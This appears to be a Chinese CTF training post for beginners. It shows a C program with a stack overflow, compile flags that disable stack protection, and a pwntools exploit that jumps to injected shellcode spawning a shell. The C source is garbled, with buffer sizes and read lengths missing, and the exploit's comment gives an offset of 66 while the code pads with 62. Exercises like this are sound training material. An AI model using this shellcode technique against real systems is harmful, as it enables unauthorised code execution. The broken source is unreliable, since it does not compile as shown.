重邮二进制群-pwn1
2024-08-27 08:28:27
给学弟们练手的题目,做的过程中接触一些基本概念
#include <stdio.h>
#include <unistd.h>
int main()
{ char name[]; welcome(); printf("enter your name\n");
read(STDIN_FILENO, name, );
name[] = '\x00'; get_contents();
} void welcome()
{
printf("welcome to play the game!\n");
} void get_contents()
{
char contents[];
puts("enter the contents you want to save:");
read(STDIN_FILENO, contents, );
}
编译参数
-fno-stack-protector -z execstack -m32
题目是最简单的情况,不多加分析,下面直接给出exp
from pwn import *
context(os='linux', arch='x86')
#context.log_level='debug' # 0x80485e3 : jmp esp
# offset: 66
jmp_esp = 0x80485e3 p = process('./a.out')
#gdb.attach(p) p.sendlineafter('name\n', 'a')
p.sendlineafter('save:\n', 'a'*62 + p32(jmp_esp) + asm(shellcraft.sh())) p.interactive()
最新文章
- ArcGIS Engine开发之地图基本操作(4)
- linux shell -常用脚本
- Leetcode study time
- scala模式匹配
- TaskTracker启动过程源码级分析
- Linux下常用压缩格式的压缩与解压方法
- SQL语句 远程操作数据库
- redis基本用法
- Android仿微信图片上传,可以选择多张图片,缩放预览,拍照上传等
- CentOS6.x升级MySQL版本5.1到5.6
- 图片转换PDF
- 【Egret】Lakeshore 使用中的一些疑难解决技巧!
- Global对象
- Maven中解决依赖冲突的问题
- swust oj 1016
- thinkPHP3.2使用__ROOT__显示为空,为什么
- 若依项目分模块集成uflo2
- 通过cassandra-cli客户端了解cassandra的内部数据结构
- bzoj 4349 最小树形图——朱刘算法
- swift - 使用系统app导航